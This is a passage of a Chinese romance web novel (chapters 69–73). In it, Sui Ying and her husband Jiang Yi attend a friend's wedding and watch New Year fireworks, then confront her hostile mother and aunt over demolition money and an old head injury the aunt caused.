今夜吹了风，头有点疼，也没有睡意，闭着眼睛东想西想，思绪混乱，一时间无法理清头绪。
拿起床头柜上的手机看了眼时间，凌晨两点。
她躺了两个小时，也没睡着。
自从蒋弋陪在身边，她连失眠都忘了。医生告诉她，她的病情加重与失眠有关，但手术成功，与失眠症无关。
隋英嘴角扯出一点弧度，她这个失眠症啊，真不是故意得的。
黑暗的环境对光源更敏感，酒店房门漏进一缕暖光，又快速关上，几乎没有发出声响。
她立刻闭上眼睛，一动不动装睡。
感觉身边床垫稍动，被子掀起一角，还有刚刚洗过澡的湿润，隋英闭着眼睛转眼珠子，感觉他想搂腰，她故意压着手臂，不让他将手伸过来。
“别装了。”
隋英紧绷着身体，继续装睡。
“你睡觉可没这么老实。”
她扭过身，“你怎么回来了？”
“你失眠，没我这药引子怎么睡。”
他的眼眸与黑暗融为一体，隋英清楚的感觉到他今晚的不寻常，清了清嗓子，“你喝酒了？。”
蒋弋恹恹“嗯”了声，似是困极，埋进她颈窝，未几，隋英眼皮也开始打架。
70. Chap.70
鲁骏婚礼全城半数有头有脸的人都来参加。
隋英很庆幸被安排在最边靠后位置，远离热闹，随时可以离开，她才有兴致欣赏婚礼。
周围人热切地讨论这场婚礼。
“凯帆和帝豪强强联手，简直就是上市公司重组。”
“没错，都能赶上蒋君沅贺明霁当年那场联姻。”
“他们是谁呀？”
“你们这些年轻人不知道也正常，蒋怀礼知道吗？”
“大爷你看不起谁呢，传奇大佬，政商两通的人物，富豪榜上那些人都以他马首是瞻。”
“蒋君沅是蒋怀礼的女儿。”
周围高低不一的惊呼。
隋英十分诧异，今天来的有头有脸的人，听着周围人如数家珍，她是一个也不认识。
但蒋怀礼她知道。
小时候爷爷讲过很多次蒋怀礼的事迹，蒋怀礼发家史，蒋怀礼独到的投资眼光，蒋怀礼令人发指的手腕……直到蒋怀礼去世，才被爆出，他生前已将百分之九十的家产捐给国家。
没想到蒋弋是蒋怀礼的外孙。
隋英蓦然想到，河道二中有传言说图书馆和体育馆是蒋弋家里人捐的。
看来传言也不是空穴来风。
她对蒋弋真的一点也不了解。
“听说蒋君沅和贺明霁离婚了？”
“应该没有，要不然财产怎么切割，贺家当年比不上蒋家，现在就不一定了。”
八卦还在继续，有人到隋英这边敬酒，她旁边一位男士起身，“我替她喝，恭喜恭喜。”
又一波人过来碰杯，隋英另一边女士代酒，有人还想劝隋英，也被她四两拨千斤挡回去。
如此反复几轮，隋英才知道，这两个人是蒋弋安排在她身边的。
“诶，那贺家、蒋家都没有来参加婚礼吗？”
“喏，蒋怀礼的外孙蒋弋。”
“你说那个，我还以为是明星呢。”
“今天来的明星哪个够资格让震廷老总亲自敬酒的。”
震廷老总是今天宾客里最有排面的人物。
“诶过来了，该不会是要来给我们敬酒吧。”
隋英抬眸，蒋弋西装革履，矜贵优雅，俯身在她耳边，“时间差不多了，送你回去休息。”
“婚礼才到一半。”
“我是说你坐的时间差不多了。”
周围有人按耐不住过来敬酒，蒋弋也没拒绝，端起隋英面前的酒杯示意大家一起，随即牵起隋英离开。
“这谁呀？”
“该不会是蒋弋女朋友吧。”
……
后面已经听不清，隋英跟着蒋弋回房，蒋弋叫了餐。
隋英忍不住八卦，“蒋怀礼是你外公？”
“我以为你早就知道了。”他拿了衣服进了浴室。
她哪里知道。
高中那会，隋英忙着学习，没有时间也想不到去打听蒋弋的家庭背景。
熟悉蒋弋，又与她关系要好的就那么几个。
陈灿阳不是一个班，见面都是集体活动。
丁文泽一直比较老成，鲁骏和孟谦看似话多不靠谱，实际上什么该说什么不该说心里门清。
除非她主动问，否则他们不可能传播蒋弋的身份背景。
至于顾柔嘉，她倒是没用蒋怀礼的身份打压过她，可能觉得没必要吧。
苏韫、蔡晶晶和罗君怡应该都不清楚，否则她们住一个寝室，肯定会八卦。
七年后，自从他们重逢，各种状况不断，她哪里有机会了解他的家庭。
隋英不是他们这个圈层的，他们都知道的事情她不知道。
不了解他的家庭背景，不了解他的家族恩怨，不了解他的成长环境，仅仅靠着年少时的心动，真的会有以后吗？
还有他和顾柔嘉的婚约。
蒋弋至今都没有解释，是否就像纪羡和他的未婚妻那样，牵扯方方面面，没那么容易解决。
纪羡最终在婚礼上，以最决绝，最疯癫的方式公开他和苏韫的关系。
却也造成严重后果。
苏韫家在海外刚起步，就遭遇严重危机，虽然她没有明说，可隋英能听出，是人为报复。
整个苏家焦头烂额，苏韫懊悔不已。
纪羡被家里断了经济支持，他自己的公司摇摇欲坠，纪家弃车保帅，想通过这个方法，一是逼纪羡回家，二是向女方致歉。
蒋弋听到消息，略带嘲讽地说道：“早干嘛去了。”
隋英无言以对。
她觉得他们很像，蒋弋答应和顾柔嘉结婚，转头就和她领证，如今顾柔嘉已经找上门，只是隋英没有苏韫那样的把柄。
她才暂时安然无恙。
两人相对而坐，蒋弋时不时回一下消息，见隋英没怎么动筷子，将水晶蒸饺放她这边。
隋英夹了个蒸饺，又放下。
“有心事？”
隋英想了下，“蒋弋，我觉得一点都不了解你，我不知道你外公是蒋怀礼，他们都知道，我却不知道。”
“我也不知道你外公是谁。”
“这能一样吗。”
蒋弋耸肩，“那你希望得到我家人的认可吗？”
“从未想过。”隋英抿嘴，这么说肯定特别不好，她只是下意识脱口而出。
她不是不在乎蒋弋，只是……隋英也解释不清。
蒋弋却无所谓，“那你了解他们干嘛。”
呃……这么简单粗暴？
“你家人的意志能改变你的决定吗？”
隋英微不可查地摇头。
她做不到完全无视周蕊林和隋航，他们有事她也会尽力，但也仅此而已，她要换工作，要过怎样的人生，都不会再问他们。
蒋弋晒笑，“有些人，就是没缘分。”
他是说自己，也是说给她听。
做手术前给周蕊林打了一个电话，直到今天，她都没有回过一个，只有隋航问她要过生活费。
苏韫气不过骂了几句，也没避着蒋弋，但他就像没听见。
一次都没问过隋英。
反倒减轻她的心理负担。
晚上，凯旋酒店举办酒会，会场中央LED屏幕播放春晚。
顶层有一处半露天小宴会厅，冬天基本没人。
隋英戴着假发帽，坐在靠里的位置，既不会感到冷，又可以静静赏雪。
城市中心大屏幕投射出红色数字，“10,9,8,7……”
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“隋英。”
她回头，蒋弋站在身后，“抬头看。”
头顶绚烂烟花绽放，如亿万钻石点缀黑夜幕布，光彩华然，在夜空中羽翼般划出彩色弧线，似流行璀璨。
窸窸窣窣的脚步声隐匿在烟花爆竹声中。
孟谦跳到她面前，“新年快乐！”
隋英吓一跳，笑着与他们打趣。
“诶你们看，蒋弋每年都弄绿金蟾。”
顺着陈灿阳手指的方向，天空中出现一只巨大的绿色青蛙，随之背后是条纹，周围星空闪耀，五彩斑斓，隋英第一次亲眼看到烟花汪洋。
她悄悄用手挡住一只眼，又换另一只眼，一样清晰。
视力恢复了。隋英眨眼，眼角微润，绿色的青蛙像瘪气的气球，慢慢收缩，背后的条纹篮球慢慢清晰。
竟然是……隋英怔然。
“这家伙就是自恋，”孟谦举着手机精心找角度，嘴上却是忍不住吐槽，“每年拿自己头像设计烟花，他怎么不把自己脸放上天。”
隋英看向蒋弋。
他拿着手机拍摄了一圈，最后定格在隋英脸上，随即放下手机。
“头像”、“每年”、“充气青蛙”……她第一次听到这些。
年少时，他随手送她一只充气青蛙玩具，她路过便利店，买了他喜欢的篮球元素钥匙扣，将青蛙画在上面。
高二新年，他在她家巷外燃放烟花，她只听到。
他每年都燃放，
而她直到今天才看到。
陈灿阳窜出去用鬼脸挡住孟谦镜头，害他没拍到最精彩的瞬间，气的孟谦跳脚，“陈臭脚，你几岁啊！啊啊啊！”
丁文泽拍拍鲁骏。
已经有些醉意的鲁骏举杯，“弋哥，敬你。”
蒋弋挑眉，陪了一杯。
“弋哥，凯帆酒店能有今天的知名度，多亏了你，每年锲而不舍在这里燃放烟花，现在已经成一张名片了，弋哥，你结婚，我包场。”
隋英眉头一跳。
孟谦倏地挤到隋英和蒋弋中间，“我一直以为是你们商量好的营销策略，要不然哪个神经病在这里还是废墟的时候就跑来放烟花。”
蒋弋拎着孟谦后领扔出去，陈灿阳一接，两人同时翻白眼，互相嫌弃骂骂咧咧。
“我也是四年前，这一片建筑起来，蒋弋大过年一个人在这放烟花，结果工人为了提早回家，把建筑垃圾堆在一起，烧起来把消防招来，才知道每年放烟花的是谁。”
辖区这片才是从去年人气才旺起来，之前几年，这里一直都是建筑工地，只有四面透风的钢筋混凝土框架。
冬天停工后，除了看大门的保安外，几乎没人。
他竟每年跑到空无一人的地方燃放烟花。
是因为她吗？
隋英不敢去想，仰头望着烟花，瞳孔流光闪耀，五光十色，星河漫漫，随即湮灭，只余一点微光亮光。
高二那次，她听到，高三不在钨华，大一她送奶奶回来与爷爷合葬，重伤未愈，又聋又瞎，没听到，也没看到。
之后，她再也没有回来过。
金色的烟花铺天盖地绽放，霎时变成金雨洒下来，把每一个人的脸都映衬的耀眼明媚，光彩夺目。
71. Chap.71
“蒋弋，我看清楚烟花了。”
这七年，你每年都为我燃放烟花，这一次，我看清楚了。
冀北航校刚开学的时候，隋英在学校找过他，没有找到就放弃了。
她始终认为以蒋弋的脾气，当年走了就是走了。
隋英选冀北航校是迫不得已。
蒋弋却去了他始终不想去的南渝。
他在南渝航天大学没有见到她，心中的那份信念轰然倒塌，失去了寻找她的方向，只能寄希望与同学。
连这条线索也断了。
他究竟是在怎么样的心境下，年复一年的，在他唯一知道的，她已经变成废墟的家乡燃放烟花。
是否每年都期待她能回家，看到青蛙篮球烟花，重新戴上耳机。
难怪刚刚重逢，他那么偏执的想要试探她是否还留着那只耳机，固执的问她有没有试过。
其实她试过。
在冀北航校，刚入学，她戴着一只耳机走遍学校每一个角落，有一次耳机被人碰掉，捡起时，那位同学说，“我看你在学校一直戴着这只耳机，长期单边戴耳机会影响听力。”
一句善意的关心最终一语成谶。
蒋弋抬头望着即将熄灭的金雨，“你没回来过吗？”
大一除夕送奶奶回来过一次。隋英摇头，“我爷爷奶奶都过世了，回来不知道去哪。”
隋英偏头看着蒋弋，侧颜轮廓分明，随着漫天金雨湮灭，侧脸逐渐成一道黑白剪影。
似乎察觉到她在看他，蒋弋偏头，视线一荒，触感软糯微凉，随即女孩惊吓后退，天全黑了。
隋英摸着嘴唇，他怎么突然转过来，刚刚鬼使神差想去亲亲他侧颊，没想到他会转过脸来。
烟花燃尽，半露天小宴会厅的灯才被打开。
蒋弋神色如常，晃着酒杯。
隋英见状，放下心来，毕竟他们又不是没亲过，呃……刚刚就是气氛到了。蓦然瞥见他耳廓以肉眼可见的速度绯红，在灯光下，似血色琥珀。
他还脸红？
隋英抿着唇，他平时看着一副漫不经心的样子，哪里是会害羞的样子。
“你喝多了吗？”她悄悄问。
蒋弋顿了下，竟点头。
“弋哥，你酒量不错，而且你今天也没喝多少。”孟谦耳尖，立刻大声说道。
鲁骏翻了个白眼，他老婆悄悄告诉他，隋英刚刚主动吻了蒋弋，弄的他也心猿意马，忍不住在桌上摸了好几遍老婆的小手手。
“哎呀，爸妈要回去，”鲁骏拉着新娘子起身，“我们先下去送送，等会再上来我们不醉不归。”
陈灿阳呲着大牙咧嘴笑，“等会你还上得来吗，是吧弟妹，我可知道你们的房间号。”后背吃了丁文泽一拳。
新娘子温婉一笑，颔首率先离开。
鲁骏脸色涨红，立刻祸水东引，“刚刚你们没看到，他们两个啾啾！”说完，翘着尾巴像一只胜利的雄鸡，趾高气昂的离开。
留下隋英在漫天风雪中凌乱。
啊啊啊！刚刚黑灯瞎火，以为没人看见，没想到啊没想到。
她继续装淡定。
丁文泽憋着笑，“蒋弋喝多了，隋英，你送他回去。”
陈灿阳撇嘴揶揄，“都是夫妻了不起啊，明天我就去相亲，丁总，你跟我一起！。”
“我有事。”丁文泽拒绝。
孟谦凑上来，“我有空。”
隋英假装没看到这三人的眨眼，淡定地扶起蒋弋，这家伙四肢像刚装上去的一样。
一向稳重的丁文泽建议，“隋英，我看他站不稳，你托着点。”
她看着蒋弋，行吧。
见他没动，隋英只好自己动手，揽过他手臂。
蒋弋僵硬地搭在她肩上，陈灿阳还凑上来嘴欠，“你老婆这么瘦，你轻点，小心压坏了。”
孟谦乐不可支，蒋弋回头看了一眼，两人同时住嘴。
丁文泽看了眼手机，“我还有事，帮我跟鲁骏说一声，我今晚飞国外。”
陈灿阳和孟谦终于不闹腾。
隋英只想赶紧走，她扶着四肢退化的蒋弋进了电梯。
“好了。”
听到她说，他才慢慢站起，隋英看了他一眼，“他们几个还是喜欢胡说八道，你别多想。”
蒋弋：？
这话难道不应该是他说吗。
从电梯出来，蒋弋默默地将手臂继续搭在她肩上，隋英一愣，“你真喝多了？”
蒋弋闷闷“嗯”了声，隋英便一手握着他手腕，一手搂腰，尽职尽责地“搀扶”。
主要她觉得自己很努力了，他也没将身体重量靠她身上，就一条手臂的重量，扶回房间时，她已累的气喘吁吁。
甩甩手腕，轻轻呼了口气，隋英看着他脱掉风衣，软塌塌倒在沙发上，从耳朵到脖颈呈红色。
蒋弋平时喝酒不上脸，这是喝了多少？
他今天是伴郎，挡酒怕是喝了不少。
而且他是飞行员，平时不会像鲁骏几个一样天天喝，他们所说的“没喝多少”是对于他们自己而言。
“我给你冲杯蜂蜜水吧。”
隋英从行李箱拿出一小罐蜂蜜，舀两勺，兑水，想了下，又加了一勺，递给他，“喝了。”
蒋弋磨磨蹭蹭喝了一口，凝眉盯着蜂蜜水，“很晚了，你先休息。”
整个人奇奇怪怪的。隋英虽然不解，但还是依言换了睡衣躺床上。
室内光线昏暗，只有门口提示灯亮着，隋英睡的迷迷糊糊，隐约感觉身边有人，似乎轻声叹气。
她没多想，熟稔地往他怀里蹭了蹭。
半夜梦中惊坐起，隋英猛地想起，他们几个伴郎酒器里的白酒是雪碧。
所以他根本不可能是喝多。
隋英咬紧双唇，眉眼都笑的皱一起，是真脸红。这家伙平时厚颜无耻，原来都是装的。
之前他们接吻，呃…也不算，有两次是他发疯撕咬，比较平静的相处便是她手术前后这一个半月。
偶尔耳鬓厮磨，其实都小心翼翼。
这是她第一次主动亲吻他。
隋英转身看着他，她平时习惯后背有靠。
黑暗中，她看着看着，轻轻抬头，在他鼻梁上蜻蜓点水般吻过，猝然撞上一双黑色瞳孔，似黑洞旋涡。
一不留神就会掉进去。
隋英一惊，转身的瞬间被禁锢。
隔着睡衣，他的手握着她后腰，她立刻无法动弹，稍微扭了下，“蒋弋？”
“
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急什么？我迟早是你的。”蒋弋俯身，隋英立刻转头，将脸埋进枕芯，闷闷道：“你装睡。”
“我没睡。”
隋英不说话。
蒋弋一下一下蹭着她耳朵，“放心，等你身体好了，我肯定要你。”
天啊！
隋英蜷缩起双腿，像小狗一样捂着脸趴着，她就知道他一向无赖，尤其是这种时候，更加恶劣。
蒋弋耐心地将她摆正，“现在你就忍一忍。”
“你别说了。”隋英依旧将脸埋进枕芯，伸手摸索着捂住他的嘴，掌心忽然感觉有章鱼触手！？
反应过来时，隋英猛地抽手，气的在他身上擦了半天，手掌又热又痒。
“你太无耻了！”
蒋弋放声大笑，笑着笑着被呛到，咳了起来，隋英怒目瞪着他。
蒋弋笑够了，伸手捂着她小脸，“你可以还回来。”
“哎呀你！”隋英耍脾气，“我不理你了。”
“那你睡好，”蒋弋坚持摆正隋英，“这么睡会压着胳膊的。”
隋英打不过他，干脆自投罗网，掰着他的胳膊当枕头，“压你的胳膊就不会麻。”
闭着眼睛，将一只抱枕拉进被窝，挡着脸……
过年酒店天天有业务，周围广场、商厦、美食街热闹非凡。
四处闲逛了几天，记忆渐渐与眼前重合，这里很多街头巷尾的路名都没变，大致位置也没变。
隋英渐渐不再觉得这里陌生。
蒋弋将礼品放后座上，然后上驾驶座，隋英坐在副驾驶座位上，冲着帮忙提礼品的老邻居打招呼。
“诶，英英？”邻居看到她很惊讶，“前两天还看到你姑姑，哎吆，闹的呀，呃…有时间来家里啊。”
隋英脸上的笑意淡去，随着车子启动，彻底敛去。
“别多想。”蒋弋握了下她的手，隋英微笑，“我没事。”
本来是和鲁骏、孟谦约好一起拜访高中班主任，只是这两人临时有事，就剩隋英和蒋弋两人去。
张建章脸上已有了岁月痕迹，眉心两道深刻的川字纹，见到隋英很激动，热情招呼她入座，却熟练地指挥蒋弋去煮茶。
他径直进了厨房烧水，然后从柜子里拿出陈皮、冰糖、老茶一起放茶壶里。
隋英收回视线，愧疚地低头，“老师，我……”
张建章粗粝的手安抚似的拍拍她的手，问她这些年的发展，问她工作，问她学业，当得知她有出书的打算时显得十分高兴，还一个劲的说要做第一个读者。
聊了一会，张建章略微浑浊地眼睛上下打量着她，眼里流露出浓浓关切，“你病过吗？”
隋英摸着脸，往后捋了下假发，“不久前做了个小手术，现在已经好了。”
这时蒋弋端着煮好的茶到客厅，还切好了水果，“老张，你胃不好，水果我帮你吃了。”
张建章嗔怪地瞪了她一眼，再看看隋英，再回头看一眼蒋弋，“你小子，半夜翻墙进学校到教室翻垃圾桶，我带了那么多届学生，就属你最难管。”
隋英不明所以，蒋弋没解释的意思。
两人从老师家出来，隋英突然问道：“你半夜回学校，就是为了那个保温杯？。”被顾柔嘉扔进垃圾桶的保温杯。
72. Chap.72
高考前一段时间，蒋君沅天天逼着他回苏黎世，贺明霁希望他留在国内，那时父母势同水火，他只能选择母亲。
上飞机前让鲁骏帮他先收着保温杯，鲁骏说顾柔嘉收走了他的东西，他联系顾柔嘉，却被告知，保温杯被隋英扔了。
他从机场跑出来，打车赶回钨华时已经半夜。
孟谦和鲁骏替他望风，蒋弋用备用钥匙打开七班后门，却被学校其他老师逮到，通知了张建章。
两人上车，隋英看了眼后座给母亲准备的礼品。七年没回去，今年刚好在钨华，她想着，应该回去一趟。
周蕊林在冀北买了房，她不知道他们是回家过年，还是留在冀北新房。
隋英拿着手机，还在犹豫。
蒋弋没有回答她的问题，而是问了另一个问题：“你为什么那么久没回学校？”
在蒋弋记忆里，隋英无论遇到什么事，都是把学校放在第一位的，能让她十天不去上学，一定发生了什么大事。
可惜班上同学都不知道，连苏韫也不知道。
而那段时间，外婆要动手术，他只能守在苏黎世，趁着间隙飞国内，却连隋英的面都见不到，又被一个电话叫走。
蒋君沅不想蒋弋参加高考，想彻底断了他在国内上学的路。
隋英不在学校，他去辖区隋英家里，那里已经空了。
蒋弋感觉很不好，又联系不到隋英，这才违背蒋君沅意思，留下参加高考。
最后一天，他想找隋英摊牌，如果她不肯跟他走，那他就选择留下。
没想到他们聊的那么糟糕。
她连“分手”都说出口了，从小众星捧月的少爷哪里受过那样的气，转身就走，却没想到他滞留国内的行为已经触怒蒋君沅。
他一上车，手机就被收走，人直接被押送上飞机，最后一门都没考。
蒋弋这才知道蒋君沅的手段，他出不来，也无法与外界联系，最后还是外婆心疼他，给了他游戏机，他才顺利联系兄弟。
等他赶回来，只看到一片废墟。
那时年少气盛，七年后再回忆起当时的情况，蒋弋敏锐地察觉到隋英当时的不对劲，她性格虽然倔，即便不愿意跟他走，也不会轻易说伤人的话。
时隔七年，隋英心境大变，平静说道：“我爸出了车祸，在医院抢救了几天，过世了。”
七年前，父亲骤然离世，奶奶病重，老宅拆迁，隋英无所依托，住在周蕊林家里，每天惶惑不安。
当蒋弋提出带她走时，她根本不相信，积压已久的情绪瞬间爆发，用最伤人的话逼走那个围着她转的耀眼少年。
蒋弋手按着启动键，眉眼压的极低，盯着方向盘，不知道在想什么。
隋英将手搭在他手臂上，蒋弋倏地回头，眸色深沉内敛，半晌才道：“对不起。”
“又不是你的错。”
他当年又不知道，不需要道歉。
蒋弋摇摇头，他当年太自负，一个十八岁的少年，凭什么承诺，凭什么要人家跟他走，他从来没有设身处地的为隋英想过。
手机铃声突然暴起，隋英看着是周蕊林，忐忑不安的接通。
“妈。”隋英轻声开口。
“你在哪？”
周蕊林语气生硬，她仿佛看到母亲的怒容，磕绊道：“呃…钨华。”
“那你回来一趟。”说完就挂断。
距离上次通话已经过去一个半月，她没说手术的事，周蕊林也没问。
车内是封闭空间，刚才的对话几乎等同于外放，蒋弋自然听的清清楚楚。
隋英有些不安地看向蒋弋，她对周蕊林的恐惧是与生俱来的，即使现在她已经完全独立，听到她的声音，还是会下意识的害怕。
蒋弋眉头紧锁，显然在极力忍耐。
他突然有些明白隋英的性格，为什么总是害怕，为什么从不犯错，为什么总是过的那么压抑。
蒋弋所有认识的兄弟朋友，包括最混蛋的纪羡，敢将事情闹的无法收场，被赶出家门，但他们都清楚，纪家不会真的不管他死活，纪羡本人也清楚。
可隋英不同，她绝望到随便找人结婚，她的亲人明知道她要做手术，真的可以做到无动于衷。
说实话，蒋弋无法理解，只有愤怒。
“隋英，不想见就不见。”
“我给我弟弟打个电话问一下情况。”她拨通隋航电话，就在她以为没人接时，电话接通。
电话那头传出嘻嘻哈哈的声音，隋英略略蹙眉，“隋航，你在家吗？”
“我在南渝玩，有事？”
隋英一顿，“妈叫我回家一趟，家里这两天没事吧？”
那边等了一会，才道：“可能是姑姑闹离婚没地方住，要房子，可拆迁房已经卖了……”
了解了事情，隋英心里有底，到楼下时，她不想让蒋弋看到家里的乱七八糟，蒋弋嘴角牵起一抹讥讽，“那是你没见过我家的事。”
从电梯出来，整个楼道都能听到争吵，邻居见到她，立刻大倒苦水，“你是老周女儿吧，你还知道回来，赶紧劝劝，都闹几天了，大过年的，所有人不得安生。”
隋英一脸歉意，蒋弋脸臭的像一尊黑煞，邻居也不敢太靠近隋英，只站他家门口骂骂咧咧。
“…妈说了，房子不能卖，那是我和我哥的，你没资格卖！”
“房子写我的名字，我想卖就卖。”
隋英深吸一口气，按了下门铃，开门的是姑姑的女儿孟枕月，看到她，目眦尽裂，“就是你，害我爸妈离婚，隋英，你妈说的对，你就是个丧门星，你这个，”
孟枕月扑过来就要打隋英，不过她刚举手，就被蒋弋抓住胳膊。
枕月第一次在现实中见到这么帅的男生，一时忘了挣扎，痴痴望着他。
可惜她看错了人，蒋弋，既不温柔，也不绅士，更没有怜香惜玉的觉悟。
下一秒，她被拎起扔向一边，撞在餐桌椅子上，霹里哐当桌上瓶瓶罐罐全数落她身上，好不狼狈。
此番变故，让原本争的面红耳赤的周蕊林和隋淑慧停下。
孟枕月被酱油瓶和辣酱溅了一身，瞬间哇哇大哭起来，引得隋淑慧哭天喊地咒骂，母女的嚎啕声响彻房间。
隋英眼皮抽了下，嘴唇牙齿微张，保持鼓膜两侧大气压力平衡。
蒋弋淡定关门，将礼品往茶几上一放，然后淡定在一旁看戏。
隋淑慧和孟枕月母女见没人搭理，骂骂咧咧站起来，抽抽噎噎地去了洗手间处理。
“妈。”隋英轻声开口。
周蕊林看了眼蒋弋，问隋英，“他是谁？”
隋英还没开口，隋淑慧追出来，指着隋英和蒋弋，“嫂子，我没骗你吧，我看到他们两个开房，
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你们家的家教真是让人大开眼界，现在又带来打我女儿，我告诉你们，今天不把房子给我，这事没完。”
“怎么回事？”周蕊林质问隋英。
隋英心里轻嘲，不管任何时候，她的父母总是第一时间责备她。
“我刚好在钨华，就给你带点补品，”隋英面无表情，语气淡然，“没什么事我们就先走了。”
“你站住！”隋淑慧刚要上手，蒋弋黑着脸挡在她面前。
隋淑慧被蒋弋的气势吓到，不敢对隋英动手，嘴里不停输出，“你们打我女儿，这事没完，还有我家房子，那是我妈留给我的，你凭什么卖，今天不把账算明白，谁也别想走。”
她直接搬了把椅子坐门口。
周蕊林冷笑，“房产证上写的是我的名字，跟你没关系。”
两人就拆迁房问题又吵起来，牵扯出几十年鸡毛蒜皮的恩怨，翻来覆去还是当年争夺拆迁房的那些话。
蒋弋拉着隋英往阳台那边的沙发坐下，指了指小区的银杏树，两人相视一笑。
意识到房间里还有人在吵架，隋英吐吐舌头，蒋弋压低声音，“我家院子里也有银杏。”
隋英眨眨眼，蒋弋发了条短信。
孟枕月换了衣服，画了全妆，拉着她妈坐到沙发这边，眼睛往蒋弋身上瞟了好几眼。
“妈，舅妈，我们今天的主要目的是解决问题，不是吵架，”孟枕月又看向隋英，“表姐，他是你男朋友？怎么没听你说过？”
隋英奇怪地看着孟枕月，“我们两个都没有联系方式，怎么说。”
孟枕月面露尴尬，讪笑道：“我一直想找你玩，就是没有你的联系方式。”
“枕月，找她干嘛，”隋淑慧瞪了眼自己的女儿，又狠狠剜了眼隋英，“英英，既然你妈叫你回来，房子也卖了，那钱就应该你出。”
周蕊林坐着没动，也没看任何人。
隋英一时间没反应过来，“我不买房呀。”
“我是说拆迁房，那等于老宅，是你奶奶留给我和你爸的，现在卖了，钱就应该我和你爸一人一半。”
隋英了然，“哦。”
爱怎么分怎么分，反正跟她没关系。
隋淑慧一僵，“你这什么态度。”
“姑姑，房子不是我的，也不是我卖的，钱我也没拿，你不用跟我说你的想法。”
“你什么意思？”隋淑慧蹭一下站起。
周蕊林更激动，手里举着健身锤，不可置信地指着隋英，“你想说什么，你个白眼狼，你怎么不死在外面，”
一个“死”字，彻底激怒蒋弋。
他倏地站起，人高马大挡了阳台一半光线，居高临下俯视着周蕊林和隋淑慧，气势生生将两人逼着坐下。
同时往后搡了搡。
蒋弋讥讽道：“房子你卖了，钱拿去给儿子买房了，你想叫女儿回来拿钱打发讨债的，天下间哪有这么便宜的事。”
“你说什么，谁是讨债的，隋英，你就是这么在外面编排我的？”隋淑慧气的发抖。
“你谁呀，我们家的事轮得到你插嘴！”周蕊林被蒋弋说中心思，气急败坏。
两人都瞪着隋英。
从小到大像这种质问，她经历的多了，以前无助、害怕、惶恐，此刻身边有蒋弋，她突然没那么怕了。
“他是我丈夫，蒋弋。”
73. Chap.73
“他是我丈夫，蒋弋。”
客厅一时落发可闻。
蒋弋偏头，眸色清亮，抿唇像是在思考“丈夫”两个字。
“隋英，你结婚了？”
最先反应过来的是孟枕月，她不敢相信隋英这个爹不疼娘不爱，人人都可以欺负的可怜虫居然有这么帅的男人愿意娶。
她要是知道蒋弋的资产，怕是会气死。
“表姐，他是干什么的呀，你们是同事吗？”她听说隋英工作特别好，工资还高，看着蒋弋手腕上露出一半的手表，很像娱乐圈一个富二代晒过的，价值千万，孟枕月神色不明。
不过这会没人理会她的问题。
周蕊林怒目圆瞪，鼻孔扩张，大声叱责道：“你结婚？你一声不吭就结婚了？你敢不跟我商量就结婚？”
都说爷爷奶奶养的孩子跟父母不会亲，她没想到自己的女儿能离谱到这种地步。
相比周蕊林的暴怒，隋英情绪淡然的多。
蒋弋护着隋英，冷冷开口，“你关心过你女儿吗，你应该问问你自己，她为什么不跟你商量。”
“你闭嘴，我在跟我女儿说话，这里还没你插嘴的份。”
周蕊林气的脸色铁青，要是让人知道她女儿结婚她都不知道，那可真是活成了笑话。
“我给你介绍的对象你一个都不去见，自甘堕落，你把我的脸都丢尽了，从小到大没一件让我省心的事，现在招呼都不打就结婚，你就这么着急？”
“妈，”隋英怕周蕊林说出更难听的话，出声打断。
她不想让蒋弋看到家里的不堪，就像她高二剪头发那次，蒋弋问她，她明明很委屈，想诉说，可又怕他会异样的眼神看她。
隋英心口憋着一团火，忽然冷嘲道：“我当然着急结婚。”
周蕊林惊的说不出话来。
在她的观念当中，女孩子再着急，也不能当着男方的面说出“着急结婚”这样的话。
隋淑慧鼻孔哼笑，满脸鄙夷。
孟枕月翻了个白眼，她一直觉得这个表姐脑子有问题，从小就不知道争抢，现在居然当着男人的面说出这种话，情商真不是一般的低。
“我做开颅手术，需要直系亲属签字，”隋英看着周蕊林，语气几乎没有起伏，“丈夫是唯一愿意给我签字做手术的人。”
“你怎么不跟我说？这我怎么知道。你做什么开颅手术？”
隋英深深看了眼周蕊林，突然深感无力，她只不过是忘了，忘了女儿做手术需要她签字，忘了女儿等着救命。
“哦，就是你姑姑打你那次，你一只耳朵听不见，左眼也看不见，你跟我说过你头疼，这么严重？那现在好了吗？”
周蕊林这才想起，装修房子那几天隋英是说过要做手术，她觉得不可能啊，都那么多年了，伤早就好了，哪里需要做手术，转头就忘了。
“你说什么！”
隋淑慧一掌拍在茶几上，“多少年前的事了，好啊，你们母女原来是想翻旧账，我说你根本就不关心英英，怎么莫名其妙把她叫回来，…你干，干什么？”
隋淑慧声音渐小，往孟枕月身边躲了下，不太敢直视蒋弋。
“原、来、是、你。”
蒋弋手背青筋凸起，眉眼压的极低，露出下三白，戾气丛生。
隋英从没见过这样的蒋弋，但她心知自己受伤一事一直梗在他心里。她有意引导蒋弋往意外去想，没想到母亲和姑姑直接说了出来。
而且姑姑的态度……隋英只能死死按着蒋弋。
蒋弋自从与隋英重逢后，又去冀北航校查了她，这才知道她是大一第二学期换了专业，而他一开始只是在南方几所飞行学院当中寻找隋英。
只因她说过，她喜欢南方。
后来没找到，这才联系冀北航校飞行学院的朋友，但同期学员没有隋英。
但那已经是大二时候的事情了。
蒋弋得知她换过专业后，立刻联想到受伤，毕竟他有同学在训练过程中受伤导致无法通过考核，不得已换了专业。
后来证实隋英的确是头部受伤，他以为确如自己所想。
没想到，他怎么也没想到隋英是被亲人打成重伤，失去了理想，疼了七年，险些死掉，而这些人……
孟枕月也被蒋弋气势吓到，当年隋英受伤她也是亲眼所见，好像真的瞎过一段时间，还闹到警局，不过外婆离世，之后不了了之。
“我妈又不是故意的，是她，是表姐抢我们家钱，”孟枕月缩在隋淑慧身后，磕磕绊绊辩道：“再说她不没事嘛。”
隋淑慧像是受到提醒，猛地站起，“没错，当年你抢钱啊，我是为你好，我都没追究你，钱我也没让你还，就拍了你一巴掌，你还蹬鼻子上脸了。”
“隋淑慧你要不要脸。”
周蕊林气的破口大骂，“那钱是拆迁补偿款，你从妈那拿走，是妈做手术的钱，英英找你是想让你交手术费。”
“那是妈给我的，房子你都拿走了，十几万补偿款本来就应该是我的。”说到这个事，隋淑慧觉得她是天底下最委屈的人。
“我女儿为了救你妈，拿了你妈房子的拆迁款，交了手术费，你把我女儿打成重伤。”
“你女儿哪里伤了？装什么装，还开颅手术，编的真离谱，”隋淑慧双手叉腰，气吞山河，“既然你说英英重伤，当年你怎么不管，现在是说你卖我家房子的事。”
